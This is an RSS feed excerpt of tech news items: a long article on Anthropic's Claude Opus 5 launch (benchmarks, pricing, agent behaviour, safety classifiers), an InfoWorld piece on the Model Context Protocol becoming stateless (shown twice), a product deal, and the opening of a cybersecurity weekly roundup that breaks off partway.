<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[Final Hours: Save $929 Off This Anker Portable Solar Power Station Today]]></title>
<description><![CDATA[The Anker Solix S2000 can keep multiple devices running when you need them most, and now it’s down to $870.]]></description>
<link>https://tsecurity.de/de/3692216/it-nachrichten/final-hours-save-929-off-this-anker-portable-solar-power-station-today/</link>
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<pubDate>Fri, 24 Jul 2026 19:50:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Anker Solix S2000 can keep multiple devices running when you need them most, and now it’s down to $870.]]></content:encoded>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
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<pubDate>Fri, 24 Jul 2026 17:40:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
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<title><![CDATA[The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats]]></title>
<description><![CDATA[This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incident...]]></description>
<link>https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/</guid>
<pubDate>Fri, 24 Jul 2026 15:30:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="831" height="491" src="https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="The Cyber Express weekly roundup July 2026" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp 831w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-300x177.webp 300w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-768x454.webp 768w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-600x355.webp 600w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-150x89.webp 150w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-750x443.webp 750w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2.webp 831w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-300x177.webp 300w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-768x454.webp 768w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-600x355.webp 600w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-150x89.webp 150w, https://thecyberexpress.com/wp-content/uploads/The-Cyber-Express-weekly-roundup-July-2026-2-750x443.webp 750w" sizes="(max-width: 831px) 100vw, 831px" title="The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats 1"></p><span data-contrast="auto">This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incidents show how threat actors are exploiting both technical vulnerabilities and human behavior.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The latest developments underline the need for stronger security practices, including improved identity protection, faster <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-incident-response/" target="_blank" rel="noopener" title="incident response" data-wpil-keyword-link="linked" data-wpil-monitor-id="29121">incident response</a>, and greater awareness of evolving cyber threats. Organizations are increasingly dealing with attacks that go beyond <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29120">data</a> theft, affecting operations, customer trust, and critical services.</span><span data-ccp-props="{}"> </span>
<h2 aria-level="2"><b><span data-contrast="none">The Cyber Express Weekly Roundup</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<h3 aria-level="3"><b><span data-contrast="none">U.S. Accounts for Nearly Half of Global Ransomware Attacks in H1 2026</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The United States experienced 1,721 ransomware attacks during the first half of 2026, representing nearly 45% of all incidents tracked globally, according to research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="nofollow noopener">Cyble Research and Intelligence Labs (CRIL)</a>. The report identified <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29122">ransomware</a> groups Qilin and Akira as among the most active threat actors during the period. </span><a href="https://thecyberexpress.com/us-ransomware-attacks-in-h1-2026/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Dubai Police Warns Against Online Visa Fraud Schemes</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Dubai Police has issued a warning about fraudulent online advertisements offering work, residency, and visit visas in exchange for payment. Scammers have reportedly used social media platforms and messaging applications to impersonate government entities or unauthorized service providers to trick victims. </span><a href="https://thecyberexpress.com/dubai-police-fraudulent-visa-ads/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Craneware Data Breach Exposes Employee and Customer Information</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Healthcare technology company Craneware confirmed that unauthorized individuals accessed part of its data environment, resulting in the exposure of employee information as well as some customer and partner records. The company stated that the incident has been contained and has not disrupted business operations or customer services. </span><a href="https://thecyberexpress.com/craneware-data-breach/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b><span data-contrast="none"> </span></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">U.S. Targets Illegal FIFA World Cup Streaming Networks</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The U.S. Department of Justice seized more than 1,000 domains allegedly involved in illegally streaming FIFA World Cup 2026 matches. The action was carried out under Operation Offsides, an initiative focused on combating online piracy and protecting intellectual property rights. </span><a href="https://thecyberexpress.com/illegal-world-cup-streaming-domains-seized/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">Chick-fil-A Customer Accounts Targeted in Credential Attack</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
